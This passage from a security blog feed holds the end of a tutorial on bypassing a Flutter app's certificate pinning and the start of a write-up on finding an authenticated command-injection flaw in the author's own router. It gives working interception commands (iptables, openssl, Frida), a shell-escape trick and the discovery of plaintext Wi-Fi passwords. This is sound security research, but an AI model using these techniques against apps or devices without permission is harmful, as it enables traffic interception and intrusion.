&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%209.png&quot; alt=&quot;Source code references to .pem and .key certificate files&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Going back to VSCode and using the search function, I typed &lt;code&gt;.pem&lt;&#x2F;code&gt; in the &quot;Search&quot; field and immediately got two references in the code, again in the &lt;code&gt;dio_http_service_imp.dart&lt;&#x2F;code&gt; file. Accessing these files we can get more details about the usage of the Dio package.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2010.png&quot; alt=&quot;VSCode search showing .pem references in dio_http_service_imp.dart&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2012.png&quot; alt=&quot;dio_http_service_imp.dart — certificate bytes implementation&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2013.png&quot; alt=&quot;SecurityContext useCertificateChainBytes and usePrivateKeyBytes&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The app reads the certificate bytes and implements them using Dart&#x27;s SecurityContext methods &lt;strong&gt;useCertificateChainBytes&lt;&#x2F;strong&gt; and &lt;strong&gt;usePrivateKeyBytes&lt;&#x2F;strong&gt;. According to the documentation:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;useCertificateChainBytes&lt;&#x2F;strong&gt;: Sets the chain of X.509 certificates served by the SecureServerSocket during secure connections, including the server certificate.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;usePrivateKeyBytes&lt;&#x2F;strong&gt;: Sets the private key for the corresponding certificate.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2014.png&quot; alt=&quot;Certificate implementation details in Flutter source&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Interestingly, the application doesn&#x27;t use standard ports like 443, 80, or 8080. Instead, the API is hosted on port &lt;strong&gt;444&lt;&#x2F;strong&gt;. This is crucial for properly configuring our proxy because if we try intercepting ports 443, 80, or 8080, we would probably only capture requests from third-party sources rather than those from the targeted application. Therefore, make sure to identify where the application is actually consuming data so that no important requests are missed.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2015.png&quot; alt=&quot;App using non-standard port 444 for API communication&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It is important to note that every Certificate Pinning mechanism can be bypassed if the attacker has the necessary time and patience. The main idea of these mechanisms is to offer more security to users, reducing risk and making attackers&#x27; lives harder, but it will always be a cat-and-mouse game until vendors like Google and Apple develop technology to mitigate this problem (and I&#x27;m not even sure if that&#x27;s possible).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;intercept-intercept-and-intercept&quot;&gt;Intercept, intercept and intercept&lt;&#x2F;h2&gt;
&lt;p&gt;After all this analysis, we&#x27;re ready to intercept the traffic. Here&#x27;s what we need to do:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Create IPTables rules to redirect the traffic.&lt;&#x2F;li&gt;
&lt;li&gt;Configure the proxy on our Android device (I&#x27;m using an emulated Pixel 9 Pro).&lt;&#x2F;li&gt;
&lt;li&gt;Set up Burp Suite.&lt;&#x2F;li&gt;
&lt;li&gt;Use the NVISO disable-flutter-tls script.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Starting with IPTables, IPTables is a utility program from Linux that helps users configure network rules. In our case, it&#x27;s a really simple process—we just need to redirect the incoming traffic from port 444 to port 8080, where our Burp Suite proxy is running. The command I used for this is:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;emu64a:&#x2F; iptables -t nat -A OUTPUT -p tcp --dport 444 -j DNAT --to-destination &amp;lt;local-ip&amp;gt;:8080&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;emu64a:&#x2F; iptables -t nat -A POSTROUTING -p tcp -d &amp;lt;local-ip&amp;gt; --dport 8080 -j MASQUERADE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After that, we need to go to our Wi-Fi settings on our Android device and change the proxy setting from &quot;None&quot; to &quot;Manual,&quot; specifying the host and port we want. In this case, the host will be your local IP and the port will be the same as the Burp Suite proxy. This will allow our emulated device to communicate with our Burp Suite proxy client.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2016.png&quot; alt=&quot;Android Wi-Fi proxy settings configured to Burp Suite&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, for Burp Suite, we need to take the PEM and KEY files that are statically stored in the assets directory from the decompiled mobile app and generate a PKCS#12 file to later import into Burp Suite TLS settings. Why PKCS#12? Because Burp Suite TLS currently only supports PEM certificates.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;openssl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; pkcs12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -export -out&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; file.p12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -inkey&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; key_file.key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; pem_file.pem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -certifile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; pem_file.pem&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here, the flags &lt;code&gt;-export&lt;&#x2F;code&gt; and &lt;code&gt;-out&lt;&#x2F;code&gt; specify that we want to write the certificate&#x27;s content to an output file. The &lt;code&gt;-inkey&lt;&#x2F;code&gt; flag specifies the private key from the certificate, combined with the &lt;code&gt;-in&lt;&#x2F;code&gt; and &lt;code&gt;-certifile&lt;&#x2F;code&gt; flags to indicate to OpenSSL which files are our certificates—we can repeat the PEM certificate file here.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2017.png&quot; alt=&quot;OpenSSL generating PKCS#12 file from PEM and KEY&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, go to your Burp Suite settings, navigate to the Network tab, and click on the &quot;TLS&quot; section. Scroll down to &quot;Client TLS Certificates&quot; and click the &quot;Add&quot; button to add a new certificate.&lt;&#x2F;p&gt;
&lt;p&gt;In the &quot;Destination host&quot; input, enter the host address from the API or website whose traffic you want to intercept (you don&#x27;t need to specify the port), and be sure to click the &quot;File (PKCS#12)&quot; radio button because you need to import your PKCS#12 file. After that, click the &quot;Next&quot; button.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2018.png&quot; alt=&quot;Burp Suite TLS settings — adding a new client certificate&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Next, click the &quot;Select file&quot; button and locate the .p12 file you generated using the OpenSSL command. During the process of generating the file with OpenSSL, you will be prompted to set a password; you must enter the same password in the &quot;Password&quot; field below the &quot;Certificate file&quot; field.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2019.png&quot; alt=&quot;Burp Suite — selecting the .p12 file and entering password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If everything goes well, your file will be loaded and you can even see some information about the imported certificate.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2020.png&quot; alt=&quot;Burp Suite — certificate loaded successfully&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now for the final steps with Burp Suite, go to the Proxy settings and make sure the &quot;Bind to port&quot; is the same from the IPTables and change the &quot;Bind to address&quot; from &quot;Specific address&quot; to &quot;All interfaces&quot; making sure we actually can intercept the traffic. After that, go to the &quot;Request handling&quot; tab and check the &quot;Support invisible proxying&quot; checkbox.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2021.png&quot; alt=&quot;Burp Suite proxy bind settings — All interfaces&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2022.png&quot; alt=&quot;Burp Suite — Support invisible proxying enabled&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To finish, download the NVISOsecurity Frida script to disable Flutter&#x27;s TLS verification, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;NVISOsecurity&#x2F;disable-flutter-tls-verification&quot;&gt;you can find it here&lt;&#x2F;a&gt;. This script uses pattern matching to find &lt;strong&gt;ssl_verify_peer_cert&lt;&#x2F;strong&gt; in the &lt;strong&gt;handshake.cc&lt;&#x2F;strong&gt; file. The &lt;strong&gt;handshake.cc&lt;&#x2F;strong&gt; file is part of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;boringssl&#x2F;&quot;&gt;BoringSSL project&lt;&#x2F;a&gt;, a fork of OpenSSL used by Chrome&#x2F;Chromium and Android. To execute the script, ensure that the Frida server is running on your Android device (it can be done via ADB) and run the following command:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;frida&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -U -f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; your.package.name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -l&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; disable-flutter-tls.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --no-pause&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Don&#x27;t forget that you need to have the Burp Suite certificate installed on your device. There are various methods to do this, so I won&#x27;t cover that process here; however, you can find plenty of resources online that explain how to do it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2023.png&quot; alt=&quot;Frida running the disable-flutter-tls script&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Frida will run the app for us, so we go to Burp Suite and &quot;HTTP History&quot; tab we can see that now we can successfully intercept the app HTTP&#x2F;HTTPS traffic.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2024.png&quot; alt=&quot;Burp Suite HTTP History showing intercepted Flutter app traffic&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.flutter.dev&#x2F;&quot;&gt;docs.flutter.dev&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dart.dev&#x2F;overview&quot;&gt;dart.dev — Overview&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;onuoha.medium.com&#x2F;how-does-jit-and-aot-work-in-dart-cab2f31d9cb5&quot;&gt;medium.com — How JIT and AOT work in Dart&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;worawit&#x2F;blutter&quot;&gt;github.com&#x2F;worawit&#x2F;blutter&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;wiki.mozilla.org&#x2F;SecurityEngineering&#x2F;Public_Key_Pinning&quot;&gt;wiki.mozilla.org — Public Key Pinning&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;oleksandr-stepanov.medium.com&#x2F;ssl-pinning-how-to-make-it-right-ecc5c9844215&quot;&gt;medium.com — SSL Pinning: How to Make It Right&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-community&#x2F;controls&#x2F;Certificate_and_Public_Key_Pinning&quot;&gt;owasp.org — Certificate and Public Key Pinning&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@melkia.med.taki&#x2F;how-to-use-tls-ssl-in-flutter-with-dio-15eda4f80baf&quot;&gt;medium.com — How to use TLS&#x2F;SSL in Flutter with Dio&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;api.flutter.dev&#x2F;flutter&#x2F;dart-io&#x2F;SecurityContext&#x2F;usePrivateKeyBytes.html&quot;&gt;api.flutter.dev — usePrivateKeyBytes&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;api.flutter.dev&#x2F;flutter&#x2F;dart-io&#x2F;SecurityContext&#x2F;useCertificateChainBytes.html&quot;&gt;api.flutter.dev — useCertificateChainBytes&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;NVISOsecurity&#x2F;disable-flutter-tls-verification&quot;&gt;github.com&#x2F;NVISOsecurity&#x2F;disable-flutter-tls-verification&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Discovering an Authenticated RCE Vulnerability in My Old Router</title>
        <published>2025-01-10T00:00:00+00:00</published>
        <updated>2025-01-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://dsm.golf/blog/rce-in-my-router/"/>
        <id>https://dsm.golf/blog/rce-in-my-router/</id>
        
        <content type="html" xml:base="https://dsm.golf/blog/rce-in-my-router/">&lt;p&gt;Everything started when I watched a talk by &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=4_UI9zBLJp0&quot;&gt;Maycon Vitali at H2HC titled &quot;Internet of Sh!t - Maycon Vitali - H2HC University 2018&quot;&lt;&#x2F;a&gt;, where he discussed his process of discovering vulnerabilities in a Ubiquiti router. After watching the 30-minute talk, I stopped the video, looked around, and remembered an old router that I had in my house. I immediately searched for the power cable, plugged it in next to my desk, and checked if everything worked fine. After about 5 minutes, I scanned my network and found the router&#x27;s IP address. I made some changes and set the IP to &lt;code&gt;192.168.15.1&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;With everything set up, I ran &lt;code&gt;nmap -p- -open -vvvvv --min-rate=5000 -T3 -Pn&lt;&#x2F;code&gt; to check the available ports and running services.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p-&lt;&#x2F;code&gt;: Scan all 65,535 TCP ports;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-v&#x2F;-vvvvv&lt;&#x2F;code&gt;: Enable verbose mode;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--open&lt;&#x2F;code&gt;: Only show open (or possible open) ports;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--min-rate&lt;&#x2F;code&gt;: Send packets no slower than X per second;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;&#x2F;code&gt;: No ping. Skips the host discovery stage altogether.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image.png&quot; alt=&quot;Nmap scan results showing open ports on the router&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;When I saw the SSH port, I looked behind the router for any credentials and, fortunately, it had them. I tried logging in with the &quot;admin&quot; username, but it didn&#x27;t work, so I searched for some documentation and discovered the correct username was &quot;support.&quot;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%201.png&quot; alt=&quot;SSH login with support credentials showing restricted shell&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As shown in the image above, we couldn&#x27;t execute commands or interact with the operating system beyond the initial shell. The goal at this moment was to figure out how to execute commands, as I had no prior experience with hardware hacking and didn&#x27;t want to attempt extracting the firmware without understanding how to do it. After a bit of research, I discovered that you could pass a direct command after the SSH command to escape the &quot;dumb shell&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%202.png&quot; alt=&quot;Escaping the restricted shell by passing commands directly via SSH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Using the &lt;code&gt;netstat -lpntu&lt;&#x2F;code&gt; command, I checked all running services ports. The idea here is to find some binary or service we can exploit to discover a vulnerability, but we don&#x27;t investigate it too deeply and move on to other enumerations.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-l&lt;&#x2F;code&gt;: Displays only listening sockets;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;&#x2F;code&gt;: Displays the process ID (PID) and the program name;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;&#x2F;code&gt;: Display addresses and port numbers in their numerical format;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-t&lt;&#x2F;code&gt;: Display active TCP connections;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-u&lt;&#x2F;code&gt;: Display active UDP connections.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%203.png&quot; alt=&quot;netstat output showing router services and open ports&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Through the &lt;code&gt;uname -a&lt;&#x2F;code&gt; command, I identified the version of the running Linux system. As you can see, it&#x27;s a fairly up-to-date kernel, and the environment is somewhat limited, so we also chose not to delve too deeply into its exploitation because, above all, our user is already part of the root group.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Linux (none) 4.4.115 #1 SMP Fri Jul 5 16:58:21 CST 2024 armv7l GNU&#x2F;Linux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using the command &lt;code&gt;ps w&lt;&#x2F;code&gt;, I also found a bunch of interesting information. There are several processes using some config files, including some XMLs that contain virtually all the router&#x27;s configurations, but we also didn&#x27;t find anything of significant relevance here.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%204.png&quot; alt=&quot;ps w output showing running processes and config file references&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After testing the router possibilities, I discovered some issues:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Me and my friends tried different methods to get a reverse shell, but without success.&lt;&#x2F;li&gt;
&lt;li&gt;Some common binaries, like &lt;code&gt;ls&lt;&#x2F;code&gt;, didn&#x27;t work.&lt;&#x2F;li&gt;
&lt;li&gt;The entire router was running on a read-only system, so we couldn&#x27;t create a web shell in the web app&#x27;s directory.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Not having &lt;code&gt;ls&lt;&#x2F;code&gt; wasn&#x27;t a problem because we still had the &lt;code&gt;find&lt;&#x2F;code&gt; binary. So we can use the command &lt;code&gt;file &#x2F;app -type f&lt;&#x2F;code&gt; to list all the files inside the &lt;code&gt;&#x2F;app&lt;&#x2F;code&gt; directory. For example:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%205.png&quot; alt=&quot;Using find to list files in the &#x2F;app directory&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;When I listed the files in the &lt;code&gt;&#x2F;tmp&lt;&#x2F;code&gt; directory, I found a file called &lt;code&gt;dump.txt&lt;&#x2F;code&gt; that caught my attention. Reading this file, I discovered it stored network passwords in plaintext, along with other network configurations, which is indeed quite useful if you want to access the Wi-Fi network without changing it, which I think is the best option. The contents of the file were something like this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%206.png&quot; alt=&quot;dump.txt showing Wi-Fi passwords in plaintext&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%207.png&quot; alt=&quot;dump.txt additional network configuration entries&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escalating-from-cmdsh&quot;&gt;Escalating from cmdsh&lt;&#x2F;h2&gt;
&lt;p&gt;Analyzing the processes, I discovered that the initial shell we got when accessing via SSH was called &lt;code&gt;cmdsh&lt;&#x2F;code&gt; and appeared to be a unique binary used to manage the SSH service. I copied the &lt;code&gt;cmdsh&lt;&#x2F;code&gt; binary to my local machine and opened it in Binary Ninja to understand what was happening in the background.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%208.png&quot; alt=&quot;cmdsh binary opened in Binary Ninja for analysis&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see that the binary looks for two variables called &lt;code&gt;LOGNAME&lt;&#x2F;code&gt; and &lt;code&gt;LOGFROM&lt;&#x2F;code&gt;. Digging further into the code, we identified the expected values for these variables:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;admin&lt;&#x2F;li&gt;
&lt;li&gt;telefonica&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%209.png&quot; alt=&quot;Binary Ninja showing LOGNAME and LOGFROM variable checks in cmdsh&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The most important part of this code is the lines:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;current_hidden&lt;&#x2F;code&gt; and &lt;code&gt;current_permission&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Why is this interesting? Because we can see the difference in permissions available when logged in with an &lt;code&gt;admin&lt;&#x2F;code&gt; or &lt;code&gt;telefonica&lt;&#x2F;code&gt; profile. So, before running the command &lt;code&gt;&#x2F;bin&#x2F;cmdsh&lt;&#x2F;code&gt;, we specify the values &lt;code&gt;LOGNAME=telefonica&lt;&#x2F;code&gt;, for example, and now some sysadmin commands become available to us =).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2010.png&quot; alt=&quot;Running cmdsh with LOGNAME=telefonica unlocking additional commands&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;attacking-the-web-app&quot;&gt;Attacking the Web App&lt;&#x2F;h2&gt;
&lt;p&gt;I tried extracting the webapp content with &lt;code&gt;cURL&lt;&#x2F;code&gt;, &lt;code&gt;wget&lt;&#x2F;code&gt;, or &lt;code&gt;SCP&lt;&#x2F;code&gt;, but I didn&#x27;t have success with. So, I decided to create a tar file, convert it to base64, and save the output locally. After this, I converted it back into a normal file and successfully retrieved the content. I created the tar file from the directory &lt;code&gt;&#x2F;usr&#x2F;shared&#x2F;web&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2011.png&quot; alt=&quot;Creating tar archive of &#x2F;usr&#x2F;shared&#x2F;web and encoding to base64&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2012.png&quot; alt=&quot;Decoding base64 and extracting the webapp tar archive locally&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the end, we have a &quot;valid&quot; code that we can open in VSCode to better understand the application&#x27;s structure, but not everything is as smooth as we imagined. This is an issue I didn&#x27;t consider at the time I was exporting it to VSCode. All the files are CGIs.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2013.png&quot; alt=&quot;VSCode showing the extracted webapp files are all CGI binaries&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Of course, we couldn&#x27;t read the CGI files directly because they are compiled C files that is used in the web interface and in other functions. I started exploring the available functions in the web app and found a menu called &lt;code&gt;Tools&lt;&#x2F;code&gt;. Accessing it, we saw options to run commands like &lt;code&gt;ping&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt;, and &lt;code&gt;nslookup&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2014.png&quot; alt=&quot;Router web app Tools menu showing ping, traceroute, and nslookup options&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This immediately caught my attention. I tried injecting direct commands into it, but there was a JavaScript validation that checked for valid IPs. However, we could bypass this by capturing a valid request in Burp Suite and modifying the IP parameter. Furthermore, there was some form of protection against command injection. By examining the code, we could understand how these functions worked (&lt;code&gt;ping&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt;, and &lt;code&gt;nslookup&lt;&#x2F;code&gt;) and look for ways to bypass or understand what was happening in the background.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2015.png&quot; alt=&quot;CGI code showing how ping command is constructed from user input&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2016.png&quot; alt=&quot;CGI code showing input concatenation into shell command&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Looking at the final lines of the code, where the &lt;code&gt;nslookup&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt; and &lt;code&gt;ping&lt;&#x2F;code&gt; binaries runs, we noticed that our input was directly concatenated into the execution and the output was saved to the file &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt;. This confirmed that there was command injection possibility.&lt;&#x2F;p&gt;
